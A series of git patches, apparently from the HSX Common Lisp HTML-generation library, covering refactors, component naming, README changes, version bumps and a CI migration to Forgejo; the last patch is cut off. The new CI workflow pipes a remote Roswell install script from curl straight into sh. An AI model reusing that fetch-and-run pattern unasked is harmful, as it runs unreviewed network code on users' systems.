From 53a6a8f50ed445f6f2ff5141ac2f32ff179615e3 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Thu, 3 Oct 2024 14:17:16 +0900 Subject: [PATCH 01/23] Format --- src/utils.lisp | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/src/utils.lisp b/src/utils.lisp index d03b444..7285969 100644 --- a/src/utils.lisp +++ b/src/utils.lisp @@ -29,25 +29,25 @@ (or (gethash char escape-map) char)) -(defun escape-string (string escape-map) - (if (stringp string) - (with-output-to-string (s) +(defun escape-string (str escape-map) + (if (stringp str) + (with-output-to-string (out) (loop - :for c :across string - :do (write (escape-char c escape-map) :stream s :escape nil))) - string)) + :for c :across str + :do (write (escape-char c escape-map) :stream out :escape nil))) + str)) -(defun escape-html-text-content (text) - (escape-string text *text-content-escape-map*)) +(defun escape-html-text-content (str) + (escape-string str *text-content-escape-map*)) -(defun escape-html-attribute (text) - (escape-string text *attribute-escape-map*)) +(defun escape-html-attribute (str) + (escape-string str *attribute-escape-map*)) -(defun minify (input-string) +(defun minify (str) (with-output-to-string (out) (let ((previous-space-p nil)) (loop - :for char :across input-string + :for char :across str :do (cond ((whitespace-p char) (unless previous-space-p From 7ce7751900ce6eacb9264b3109402bcc17aa40b2 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Fri, 4 Oct 2024 08:44:27 +0900 Subject: [PATCH 02/23] Use cl-str instead --- qlfile | 4 +++- qlfile.lock | 6 +++++- src/element.lisp | 7 ++++--- src/utils.lisp | 18 ------------------ tests/element.lisp | 14 +++++++++++++- tests/utils.lisp | 11 +---------- 6 files changed, 26 insertions(+), 34 deletions(-) diff --git a/qlfile b/qlfile index 8fe6a9d..4f02666 100644 --- a/qlfile +++ b/qlfile @@ -1,4 +1,6 @@ ql alexandria -ql mstrings +ql cl-str + github rove fukamachi/rove github dissect Shinmera/dissect ; workaround +ql mstrings diff --git a/qlfile.lock b/qlfile.lock index a072ede..8cadf24 100644 --- a/qlfile.lock +++ b/qlfile.lock @@ -6,7 +6,7 @@ (:class qlot/source/ql:source-ql :initargs (:%version :latest) :version "ql-2023-10-21")) -("mstrings" . +("cl-str" . (:class qlot/source/ql:source-ql :initargs (:%version :latest) :version "ql-2023-10-21")) @@ -18,3 +18,7 @@ (:class qlot/source/github:source-github :initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil) :version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c")) +("mstrings" . + (:class qlot/source/ql:source-ql + :initargs (:%version :latest) + :version "ql-2023-10-21")) diff --git a/src/element.lisp b/src/element.lisp index 1656253..5bc3ea4 100644 --- a/src/element.lisp +++ b/src/element.lisp @@ -1,10 +1,11 @@ (defpackage #:hsx/element (:use #:cl) + (:import-from #:str + #:collapse-whitespaces) (:import-from #:hsx/utils #:defgroup #:escape-html-attribute - #:escape-html-text-content - #:minify) + #:escape-html-text-content) (:export #:element #:tag #:html-tag @@ -126,7 +127,7 @@ (string-downcase (element-type element))) (defmethod render-props ((element tag)) - (minify + (collapse-whitespaces (with-output-to-string (stream) (loop :for (key value) :on (element-props element) :by #'cddr diff --git a/src/utils.lisp b/src/utils.lisp index 7285969..0d8c66d 100644 --- a/src/utils.lisp +++ b/src/utils.lisp @@ -6,7 +6,6 @@ #:symbolicate) (:export #:escape-html-attribute #:escape-html-text-content - #:minify #:defgroup)) (in-package #:hsx/utils) @@ -43,23 +42,6 @@ (defun escape-html-attribute (str) (escape-string str *attribute-escape-map*)) -(defun minify (str) - (with-output-to-string (out) - (let ((previous-space-p nil)) - (loop - :for char :across str - :do (cond - ((whitespace-p char) - (unless previous-space-p - (write-char #\Space out)) - (setf previous-space-p t)) - (t - (write-char char out) - (setf previous-space-p nil))))))) - -(defun whitespace-p (char) - (member char '(#\Space #\Newline #\Tab #\Return) :test #'char=)) - (defun make-keyword-hash-table (symbols) (let ((ht (make-hash-table))) (mapcar (lambda (sym) diff --git a/tests/element.lisp b/tests/element.lisp index 36bd31c..211777e 100644 --- a/tests/element.lisp +++ b/tests/element.lisp @@ -89,6 +89,7 @@ nil "bar"))) :pretty t)))) + (testing "self-closing-tag" (ok (string= "<img src=\"/background.png\">" (render-to-string (create-element :img @@ -137,7 +138,18 @@ (create-element :li nil (list "brah")))) - :pretty t)))))) + :pretty t))))) + + (testing "minify-props-text" + (let ((elm (create-element :div + '(:x-data "{ + open: false, + get isOpen() { return this.open }, + toggle() { this.open = ! this.open }, + }") + nil))) + (ok (string= (render-to-string elm) + "<div x-data=\"{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }\"></div>"))))) (defun comp1 (&key prop children) (create-element :div diff --git a/tests/utils.lisp b/tests/utils.lisp index 2997521..bd6f722 100644 --- a/tests/utils.lisp +++ b/tests/utils.lisp @@ -11,16 +11,7 @@ (testing "escape-html-text-content" (ok (string= "&<>"'/`=" - (escape-html-text-content "&<>\"'/`=")))) - - (testing "minify" - ;; Test with Alpine.js - (ok (string= (minify "{ - open: false, - get isOpen() { return this.open }, - toggle() { this.open = ! this.open }, - }") - "{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }")))) + (escape-html-text-content "&<>\"'/`="))))) (defgroup fruit apple banana) From 011ccd6b2aeba7375e2992dc7e58d26c56e760e2 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Sat, 19 Oct 2024 00:13:33 +0900 Subject: [PATCH 03/23] Update system version --- hsx.asd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hsx.asd b/hsx.asd index aba1850..dffc354 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,5 +1,5 @@ (defsystem "hsx" - :version "0.1.0" + :version "0.2.1" :description "Hypertext S-expression" :author "skyizwhite, Bo Yao" :maintainer "skyizwhite <paku@skyizwhite.dev>" From a170c58530fa82b9f9fc8440a14fbe57f466b8fc Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Thu, 12 Dec 2024 12:57:05 +0900 Subject: [PATCH 04/23] Improve find-builtin-symbols --- src/dsl.lisp | 33 ++++++++++++++--------- tests/dsl.lisp | 73 +++++++++++++++++++++++++++++--------------------- 2 files changed, 63 insertions(+), 43 deletions(-) diff --git a/src/dsl.lisp b/src/dsl.lisp index 680c85a..f196866 100644 --- a/src/dsl.lisp +++ b/src/dsl.lisp @@ -16,18 +16,27 @@ "Detect built-in HSX elements and automatically import them." (find-builtin-symbols form)) -(defun find-builtin-symbols (node) - (if (atom node) - (or (and (symbolp node) - (not (keywordp node)) - (find-symbol (string node) :hsx/builtin)) - node) - (cons (find-builtin-symbols (car node)) - (mapcar (lambda (n) - (if (listp n) - (find-builtin-symbols n) - n)) - (cdr node))))) +(defun get-builtin-symbol (sym) + (multiple-value-bind (builtin-sym kind) + (find-symbol (string sym) :hsx/builtin) + (and (eq kind :external) builtin-sym))) + +(defun find-builtin-symbols (form) + (check-type form cons) + (let* ((head (first form)) + (tail (rest form)) + (well-formed-p (listp tail)) + (builtin-sym (and (symbolp head) + (not (keywordp head)) + (get-builtin-symbol head)))) + (if (and well-formed-p builtin-sym) + (cons builtin-sym + (mapcar (lambda (sub-form) + (if (consp sub-form) + (find-builtin-symbols sub-form) + sub-form)) + tail)) + form))) ;;;; defhsx macro diff --git a/tests/dsl.lisp b/tests/dsl.lisp index d8bce5d..8bd6408 100644 --- a/tests/dsl.lisp +++ b/tests/dsl.lisp @@ -1,67 +1,78 @@ (defpackage #:hsx-test/dsl (:use #:cl #:rove - #:hsx/dsl - #:hsx/builtin) + #:hsx/dsl) + (:import-from #:hsx/builtin) (:import-from #:hsx/element #:element-props #:element-children)) (in-package #:hsx-test/dsl) +(deftest find-builtin-symbols-test + (testing "normal-cases" + (ok (expands '(hsx (div div div)) + '(hsx/builtin:div div div))) + (ok (expands '(hsx (div (div div (div)))) + '(hsx/builtin:div + (hsx/builtin:div + div + (hsx/builtin:div))))) + (ok (expands '(hsx (div + (labels ((div () "div")) + (hsx (div))))) + '(hsx/builtin:div + (labels ((div () "div")) + (hsx (div))))))) + + (testing "ignore-cases" + (ok (expands '(hsx (div . div)) + '(div . div))) + (ok (expands '(hsx ((div))) + '((div)))) + (ok (expands '(hsx (div + (labels ((div () "div")) + (div)))) + '(hsx/builtin:div + (labels ((div () "div")) + (div))))))) + (deftest dsl-test - (testing "find-symbols" - (ok (expands - '(hsx (div '(:div "div") - div - (div - 'div - (div) - :div) - "div")) - '(hsx/builtin:div '(:div "div") - div - (hsx/builtin:div - 'div - (hsx/builtin:div) - :div) - "div")))) - (testing "empty-hsx" - (let ((elm (div))) + (let ((elm (hsx (div)))) (ok (null (element-props elm))) (ok (null (element-children elm))))) (testing "hsx-with-static-props" - (let ((elm (div :prop1 "value1" :prop2 "value2"))) + (let ((elm (hsx (div :prop1 "value1" :prop2 "value2")))) (ok (equal '(:prop1 "value1" :prop2 "value2") (element-props elm))) (ok (null (element-children elm))))) (testing "hsx-with-dynamic-props" (let* ((props '(:prop1 "value1" :prop2 "value2")) - (elm (div props))) + (elm (hsx (div props)))) (ok (equal props (element-props elm))) (ok (null (element-children elm))))) (testing "hsx-with-children" - (let ((elm (div - "child1" - "child2"))) + (let ((elm (hsx (div + "child1" + "child2")))) (ok (null (element-props elm))) (ok (equal (list "child1" "child2") (element-children elm))))) (testing "hsx-with-static-props-and-children" - (let ((elm (div :prop1 "value1" :prop2 "value2" - "child1" - "child2"))) + (let ((elm (hsx (div :prop1 "value1" :prop2 "value2" + "child1" + "child2")))) (ok (equal '(:prop1 "value1" :prop2 "value2") (element-props elm))) (ok (equal (list "child1" "child2") (element-children elm))))) (testing "hsx-with-dynamic-props-and-children" (let* ((props '(:prop1 "value1" :prop2 "value2")) - (elm (div props - "child1" - "child2"))) + (elm (hsx (div props + "child1" + "child2")))) (ok (equal props (element-props elm))) (ok (equal (list "child1" "child2") (element-children elm)))))) From 6abb647246b0fe900f7c7f18ee0427282586c8ff Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Thu, 12 Dec 2024 13:09:51 +0900 Subject: [PATCH 05/23] Update README --- README.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4055a2a..730e943 100644 --- a/README.md +++ b/README.md @@ -39,10 +39,12 @@ HSX allows embedding Common Lisp code directly within your HTML structure, makin (div (p :id (format nil "id-~a" (random 100))) (ul - (loop :for i :from 1 :to 5 :collect (li (format nil "Item ~a" i)))) + (loop + :for i :from 1 :to 5 :collect + (hsx (li (format nil "Item ~a" i))))) (if (> (random 10) 5) - (p "Condition met!") - (p "Condition not met!")))) + (hsx (p "Condition met!")) + (hsx (p "Condition not met!"))))) ``` This might generate: From 33dd8e82051305840dc3f5bfc480a5f3dd1ec951 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Thu, 12 Dec 2024 13:10:14 +0900 Subject: [PATCH 06/23] Update system version to v0.3.0 --- hsx.asd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hsx.asd b/hsx.asd index dffc354..fccc84d 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,5 +1,5 @@ (defsystem "hsx" - :version "0.2.1" + :version "0.3.0" :description "Hypertext S-expression" :author "skyizwhite, Bo Yao" :maintainer "skyizwhite <paku@skyizwhite.dev>" From 3193054e04052ace1108b34d80116ff85b03d98b Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Thu, 12 Dec 2024 14:00:42 +0900 Subject: [PATCH 07/23] Update README --- README.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 730e943..4c63e73 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,14 @@ # HSX -HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp. It was forked from [flute](https://github.com/ailisp/flute/). +HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp. + +This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). + +## Warning + +This software is still ALPHA quality. The APIs likely change. + +Please check the [release notes](https://github.com/skyizwhite/hsx/releases). ## Introduction From dfc074ec71a931156e83c86a650447ae783462ab Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Fri, 13 Dec 2024 01:33:01 +0900 Subject: [PATCH 08/23] Fix defcomp to detect components in HSX --- src/dsl.lisp | 38 ++++++++++++++++++++++++-------------- tests/dsl.lisp | 35 ++++++++++++++++++----------------- 2 files changed, 42 insertions(+), 31 deletions(-) diff --git a/src/dsl.lisp b/src/dsl.lisp index f196866..577ce58 100644 --- a/src/dsl.lisp +++ b/src/dsl.lisp @@ -13,27 +13,34 @@ ;;;; hsx macro (defmacro hsx (form) - "Detect built-in HSX elements and automatically import them." - (find-builtin-symbols form)) + "Detect HSX elements and automatically import them." + (detect-elements form)) (defun get-builtin-symbol (sym) (multiple-value-bind (builtin-sym kind) (find-symbol (string sym) :hsx/builtin) (and (eq kind :external) builtin-sym))) -(defun find-builtin-symbols (form) +(defun start-with-tilde-p (sym) + (string= "~" (subseq (string sym) 0 1))) + +(defun get-component-symbol (sym) + (and (start-with-tilde-p sym) sym)) + +(defun detect-elements (form) (check-type form cons) (let* ((head (first form)) (tail (rest form)) (well-formed-p (listp tail)) - (builtin-sym (and (symbolp head) - (not (keywordp head)) - (get-builtin-symbol head)))) - (if (and well-formed-p builtin-sym) - (cons builtin-sym + (detected-sym (and (symbolp head) + (not (keywordp head)) + (or (get-builtin-symbol head) + (get-component-symbol head))))) + (if (and well-formed-p detected-sym) + (cons detected-sym (mapcar (lambda (sub-form) (if (consp sub-form) - (find-builtin-symbols sub-form) + (detect-elements sub-form) sub-form)) tail)) form))) @@ -67,16 +74,19 @@ `(eval-when (:compile-toplevel :load-toplevel :execute) (defhsx ,name ,(make-keyword name)))) -(defmacro defcomp (name props &body body) - "Define a function component for use in HSX. -The props must be declared with either &key or &rest (or both). +(defmacro defcomp (~name props &body body) + "Define a function component for HSX. +The component name must start with a tilde (~). +Properties must be declared using &key, &rest, or both. The body must return an HSX element." + (unless (start-with-tilde-p ~name) + (error "The component name must start with a tilde (~~).")) (unless (or (null props) (member '&key props) (member '&rest props)) (error "Component properties must be declared with either &key, &rest, or both.")) - (let ((%name (symbolicate '% name))) + (let ((%name (symbolicate '% ~name))) `(eval-when (:compile-toplevel :load-toplevel :execute) (defun ,%name ,props ,@body) - (defhsx ,name (fdefinition ',%name))))) + (defhsx ,~name (fdefinition ',%name))))) diff --git a/tests/dsl.lisp b/tests/dsl.lisp index 8bd6408..31abea8 100644 --- a/tests/dsl.lisp +++ b/tests/dsl.lisp @@ -8,33 +8,34 @@ #:element-children)) (in-package #:hsx-test/dsl) -(deftest find-builtin-symbols-test - (testing "normal-cases" +(defcomp ~comp1 (&key children) + (hsx (div children))) + +(deftest detect-elements-test + (testing "detect-tags" (ok (expands '(hsx (div div div)) '(hsx/builtin:div div div))) (ok (expands '(hsx (div (div div (div)))) '(hsx/builtin:div (hsx/builtin:div div - (hsx/builtin:div))))) - (ok (expands '(hsx (div - (labels ((div () "div")) - (hsx (div))))) - '(hsx/builtin:div - (labels ((div () "div")) - (hsx (div))))))) + (hsx/builtin:div)))))) - (testing "ignore-cases" + (testing "detect-components" + (ok (expands '(hsx (~comp1 (div))) + '(~comp1 (hsx/builtin:div))))) + + (testing "ignore-malformed-form" (ok (expands '(hsx (div . div)) '(div . div))) (ok (expands '(hsx ((div))) - '((div)))) - (ok (expands '(hsx (div - (labels ((div () "div")) - (div)))) - '(hsx/builtin:div - (labels ((div () "div")) - (div))))))) + '((div))))) + + (testing "ignore-cl-form" + (ok (expands '(hsx (labels ((div () "div")) + (div))) + '(labels ((div () "div")) + (div)))))) (deftest dsl-test (testing "empty-hsx" From 4490c741976dc1cfc06e83b9a7a9922a11f6e461 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Fri, 13 Dec 2024 01:35:31 +0900 Subject: [PATCH 09/23] Update README --- README.md | 47 +++++++++++++++++++---------------------------- 1 file changed, 19 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index 4c63e73..4bd5733 100644 --- a/README.md +++ b/README.md @@ -6,19 +6,15 @@ This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). ## Warning -This software is still ALPHA quality. The APIs likely change. +This software is still in ALPHA quality. The APIs are likely to change. -Please check the [release notes](https://github.com/skyizwhite/hsx/releases). - -## Introduction - -HSX allows you to generate HTML using S-expressions, providing a more Lisp-friendly way to create web content. By using the `hsx` macro, you can define HTML elements and their attributes in a concise and readable manner. +Please check the [release notes](https://github.com/skyizwhite/hsx/releases) for updates. ## Getting Started ### Basic Usage -Use the `hsx` macro to create HTML elements. Attributes are specified using a property list following the element name, and child elements are nested directly within. +Use the `hsx` macro to create HTML elements. Attributes are specified using a property list after the element name, and child elements are nested directly inside. ```lisp (hsx @@ -36,11 +32,18 @@ This generates: </div> ``` -## Examples +To convert an HSX object into an HTML string, use the `render-to-string` function: -### Dynamic Content +```lisp +(render-to-string + (hsx ...)) +``` -HSX allows embedding Common Lisp code directly within your HTML structure, making it easy to generate dynamic content. +### Embedding Content + +HSX allows you to embed Common Lisp forms directly within your HTML structure. + +When working with HSX elements inside embedded Lisp forms, you should use the `hsx` macro again. ```lisp (hsx @@ -91,22 +94,22 @@ This generates: <p>Second paragraph.</p> ``` -## Creating Components +### Creating Components -You can define reusable components with the `defcomp` macro. Components are functions that can take keyword arguments and properties. +You can define reusable components using the `defcomp` macro. Component names must begin with a tilde (`~`). Properties should be declared using `&key`, `&rest`, or both. The body must return an HSX element. ```lisp -(defcomp card (&key title children) +(defcomp ~card (&key title children) (hsx (div :class "card" (h1 title) children))) ``` -Or using a property list: +Alternatively, you can use a property list: ```lisp -(defcomp card (&rest props) +(defcomp ~card (&rest props) (hsx (div :class "card" (h1 (getf props :title)) @@ -117,7 +120,7 @@ Usage example: ```lisp (hsx - (card :title "Card Title" + (~card :title "Card Title" (p "This is a card component."))) ``` @@ -130,18 +133,6 @@ Generates: </div> ``` -## Rendering HTML - -To render HSX to an HTML string, use the `render-to-string` function. - -```lisp -(render-to-string - (hsx - (div :class "content" - (h1 "Rendered to String") - (p "This HTML is generated as a string.")))) -``` - ## License This project is licensed under the MIT License. From f60259ec4a101de87c5364c3f1b571706448d3a0 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Fri, 13 Dec 2024 01:37:10 +0900 Subject: [PATCH 10/23] Update system version to v0.4.0 --- hsx.asd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hsx.asd b/hsx.asd index fccc84d..b1151ae 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,5 +1,5 @@ (defsystem "hsx" - :version "0.3.0" + :version "0.4.0" :description "Hypertext S-expression" :author "skyizwhite, Bo Yao" :maintainer "skyizwhite <paku@skyizwhite.dev>" From fa7fc1605e14aaca8d449fe21c2ee2d0f23a5ec4 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Tue, 17 Dec 2024 16:14:46 +0900 Subject: [PATCH 11/23] Modify the wording --- src/dsl.lisp | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/src/dsl.lisp b/src/dsl.lisp index 577ce58..27d785a 100644 --- a/src/dsl.lisp +++ b/src/dsl.lisp @@ -16,7 +16,7 @@ "Detect HSX elements and automatically import them." (detect-elements form)) -(defun get-builtin-symbol (sym) +(defun detect-builtin-symbol (sym) (multiple-value-bind (builtin-sym kind) (find-symbol (string sym) :hsx/builtin) (and (eq kind :external) builtin-sym))) @@ -24,7 +24,7 @@ (defun start-with-tilde-p (sym) (string= "~" (subseq (string sym) 0 1))) -(defun get-component-symbol (sym) +(defun detect-component-symbol (sym) (and (start-with-tilde-p sym) sym)) (defun detect-elements (form) @@ -34,8 +34,8 @@ (well-formed-p (listp tail)) (detected-sym (and (symbolp head) (not (keywordp head)) - (or (get-builtin-symbol head) - (get-component-symbol head))))) + (or (detect-builtin-symbol head) + (detect-component-symbol head))))) (if (and well-formed-p detected-sym) (cons detected-sym (mapcar (lambda (sub-form) @@ -75,16 +75,16 @@ (defhsx ,name ,(make-keyword name)))) (defmacro defcomp (~name props &body body) - "Define a function component for HSX. + "Define an HSX function component. The component name must start with a tilde (~). -Properties must be declared using &key, &rest, or both. -The body must return an HSX element." +Component properties must be declared using &key, &rest, or both. +The body of the component must produce a valid HSX element." (unless (start-with-tilde-p ~name) (error "The component name must start with a tilde (~~).")) (unless (or (null props) (member '&key props) (member '&rest props)) - (error "Component properties must be declared with either &key, &rest, or both.")) + (error "Component properties must be declared using &key, &rest, or both.")) (let ((%name (symbolicate '% ~name))) `(eval-when (:compile-toplevel :load-toplevel :execute) (defun ,%name ,props From a73af8d936260585e92035827c161ba0bc3075b8 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Fri, 20 Dec 2024 23:38:19 +0900 Subject: [PATCH 12/23] Update description --- README.md | 2 +- hsx.asd | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 4bd5733..b036ba3 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # HSX -HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp. +HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard) generation library for Common Lisp. This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). diff --git a/hsx.asd b/hsx.asd index b1151ae..c5ab13d 100644 --- a/hsx.asd +++ b/hsx.asd @@ -1,6 +1,6 @@ (defsystem "hsx" :version "0.4.0" - :description "Hypertext S-expression" + :description "Simple and powerful HTML generation library." :author "skyizwhite, Bo Yao" :maintainer "skyizwhite <paku@skyizwhite.dev>" :license "MIT" From 31a825b03383ec4b7f30d09b9cce53276ab62aaf Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Sat, 11 Jan 2025 09:52:57 +0000 Subject: [PATCH 13/23] Migrate from GitHub to Forgejo --- .forgejo/workflows/ci.yml | 70 ++++++++++++++++++++++++++ .github/workflows/{test.yml => ci.yml} | 8 +-- README.md | 25 +++++---- qlfile | 6 +-- qlfile.lock | 24 ++++----- 5 files changed, 105 insertions(+), 28 deletions(-) create mode 100644 .forgejo/workflows/ci.yml rename .github/workflows/{test.yml => ci.yml} (91%) diff --git a/.forgejo/workflows/ci.yml b/.forgejo/workflows/ci.yml new file mode 100644 index 0000000..e41efe6 --- /dev/null +++ b/.forgejo/workflows/ci.yml @@ -0,0 +1,70 @@ +name: 'CI' + +on: + push: + branches: + - 'master' + pull_request: + +jobs: + test: + runs-on: docker + + strategy: + matrix: + lisp: + - sbcl-bin + + steps: + - uses: actions/checkout@v4 + + - name: Restore cache + id: restore-cache + uses: actions/cache/restore@v4 + with: + path: | + ~/.roswell + /usr/local/bin/ros + /usr/local/etc/roswell/ + qlfile + qlfile.lock + .qlot + ~/.cache/common-lisp/ + key: roswell-${{ runner.os }}-${{ matrix.lisp }}-${{ hashFiles('qlfile', 'qlfile.lock', '*.asd') }} + + - name: Install Roswell + if: steps.restore-cache.outputs.cache-hit != 'true' + env: + LISP: ${{ matrix.lisp }} + run: | + curl -L https://raw.githubusercontent.com/roswell/roswell/master/scripts/install-for-ci.sh | sh + + - name: Install Qlot + if: steps.restore-cache.outputs.cache-hit != 'true' + run: | + ros install fukamachi/qlot + + - name: Install dependencies + if: steps.restore-cache.outputs.cache-hit != 'true' + run: | + PATH="~/.roswell/bin:$PATH" + qlot install + qlot exec ros install hsx + + - name: Save cache + id: save-cache + uses: actions/cache/save@v4 + if: steps.restore-cache.outputs.cache-hit != 'true' + with: + path: | + ~/.roswell + /usr/local/bin/ros + /usr/local/etc/roswell/ + qlfile + qlfile.lock + .qlot + ~/.cache/common-lisp/ + key: ${{ steps.restore-cache.outputs.cache-primary-key }} + + - name: Run tests + run: .qlot/bin/rove hsx.asd diff --git a/.github/workflows/test.yml b/.github/workflows/ci.yml similarity index 91% rename from .github/workflows/test.yml rename to .github/workflows/ci.yml index decfc7c..88f0c99 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/ci.yml @@ -1,4 +1,4 @@ -name: 'test' +name: 'CI' on: push: @@ -7,15 +7,15 @@ on: pull_request: jobs: - tests: + test: runs-on: ubuntu-latest - + strategy: matrix: lisp: - sbcl-bin - ccl-bin - + env: LISP: ${{ matrix.lisp }} diff --git a/README.md b/README.md index b036ba3..d07a845 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # HSX -HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard) generation library for Common Lisp. +HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard) +generation library for Common Lisp. This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). @@ -8,13 +9,16 @@ This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). This software is still in ALPHA quality. The APIs are likely to change. -Please check the [release notes](https://github.com/skyizwhite/hsx/releases) for updates. +Please check the [release notes](https://code.skyizwhite.dev/paku/hsx/releases) +for updates. ## Getting Started ### Basic Usage -Use the `hsx` macro to create HTML elements. Attributes are specified using a property list after the element name, and child elements are nested directly inside. +Use the `hsx` macro to create HTML elements. Attributes are specified using a +property list after the element name, and child elements are nested directly +inside. ```lisp (hsx @@ -32,7 +36,8 @@ This generates: </div> ``` -To convert an HSX object into an HTML string, use the `render-to-string` function: +To convert an HSX object into an HTML string, use the `render-to-string` +function: ```lisp (render-to-string @@ -43,7 +48,8 @@ To convert an HSX object into an HTML string, use the `render-to-string` functio HSX allows you to embed Common Lisp forms directly within your HTML structure. -When working with HSX elements inside embedded Lisp forms, you should use the `hsx` macro again. +When working with HSX elements inside embedded Lisp forms, you should use the +`hsx` macro again. ```lisp (hsx @@ -76,7 +82,8 @@ This might generate: ### Using Fragments -To group multiple elements without adding an extra wrapper, use the fragment `<>`. +To group multiple elements without adding an extra wrapper, use the fragment +`<>`. ```lisp (hsx @@ -96,7 +103,9 @@ This generates: ### Creating Components -You can define reusable components using the `defcomp` macro. Component names must begin with a tilde (`~`). Properties should be declared using `&key`, `&rest`, or both. The body must return an HSX element. +You can define reusable components using the `defcomp` macro. Component names +must begin with a tilde (`~`). Properties should be declared using `&key`, +`&rest`, or both. The body must return an HSX element. ```lisp (defcomp ~card (&key title children) @@ -140,5 +149,3 @@ This project is licensed under the MIT License. © 2024 skyizwhite © 2018 Bo Yao - -Feel free to contribute to the project and report any issues or feature requests on the [GitHub repository](https://github.com/skyizwhite/hsx). diff --git a/qlfile b/qlfile index 4f02666..6b6b356 100644 --- a/qlfile +++ b/qlfile @@ -1,6 +1,6 @@ ql alexandria ql cl-str -github rove fukamachi/rove -github dissect Shinmera/dissect ; workaround -ql mstrings +git rove https://github.com/fukamachi/rove +git dissect https://github.com/Shinmera/dissect ; workaround +git mstrings https://git.sr.ht/~shunter/mstrings diff --git a/qlfile.lock b/qlfile.lock index 8cadf24..41f11ce 100644 --- a/qlfile.lock +++ b/qlfile.lock @@ -1,24 +1,24 @@ ("quicklisp" . (:class qlot/source/dist:source-dist :initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest) - :version "2023-10-21")) + :version "2024-10-12")) ("alexandria" . (:class qlot/source/ql:source-ql :initargs (:%version :latest) - :version "ql-2023-10-21")) + :version "ql-2024-10-12")) ("cl-str" . (:class qlot/source/ql:source-ql :initargs (:%version :latest) - :version "ql-2023-10-21")) + :version "ql-2024-10-12")) ("rove" . - (:class qlot/source/github:source-github - :initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil) - :version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353")) + (:class qlot/source/git:source-git + :initargs (:remote-url "https://github.com/fukamachi/rove") + :version "git-cacea7331c10fe9d8398d104b2dfd579bf7ea353")) ("dissect" . - (:class qlot/source/github:source-github - :initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil) - :version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c")) + (:class qlot/source/git:source-git + :initargs (:remote-url "https://github.com/Shinmera/dissect") + :version "git-a70cabcd748cf7c041196efd711e2dcca2bbbb2c")) ("mstrings" . - (:class qlot/source/ql:source-ql - :initargs (:%version :latest) - :version "ql-2023-10-21")) + (:class qlot/source/git:source-git + :initargs (:remote-url "https://git.sr.ht/~shunter/mstrings") + :version "git-7a94c070141c7cd03bbd3648b17724c3bf143393")) From 33d7d981cfd37e1fc4a174bae4a76fcb25d2e711 Mon Sep 17 00:00:00 2001 From: paku <paku@skyizwhite.dev> Date: Sun, 16 Feb 2025 00:34:26 +0900 Subject: [PATCH 14/23] Amend --- src/dsl.lisp | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/src/dsl.lisp b/src/dsl.lisp index 27d785a..c62ae0f 100644 --- a/src/dsl.lisp +++ b/src/dsl.lisp @@ -10,13 +10,13 @@ #:defcomp)) (in-package #:hsx/dsl) -;;;; hsx macro +;;; hsx macro (defmacro hsx (form) "Detect HSX elements and automatically import them." (detect-elements form)) -(defun detect-builtin-symbol (sym) +(defun detect-builtin-element (sym) (multiple-value-bind (builtin-sym kind) (find-symbol (string sym) :hsx/builtin) (and (eq kind :external) builtin-sym))) @@ -24,19 +24,17 @@ (defun start-with-tilde-p (sym) (string= "~" (subseq (string sym) 0 1))) -(defun detect-component-symbol (sym) +(defun detect-component (sym) (and (start-with-tilde-p sym) sym)) (defun detect-elements (form) - (check-type form cons) (let* ((head (first form)) (tail (rest form)) - (well-formed-p (listp tail)) (detected-sym (and 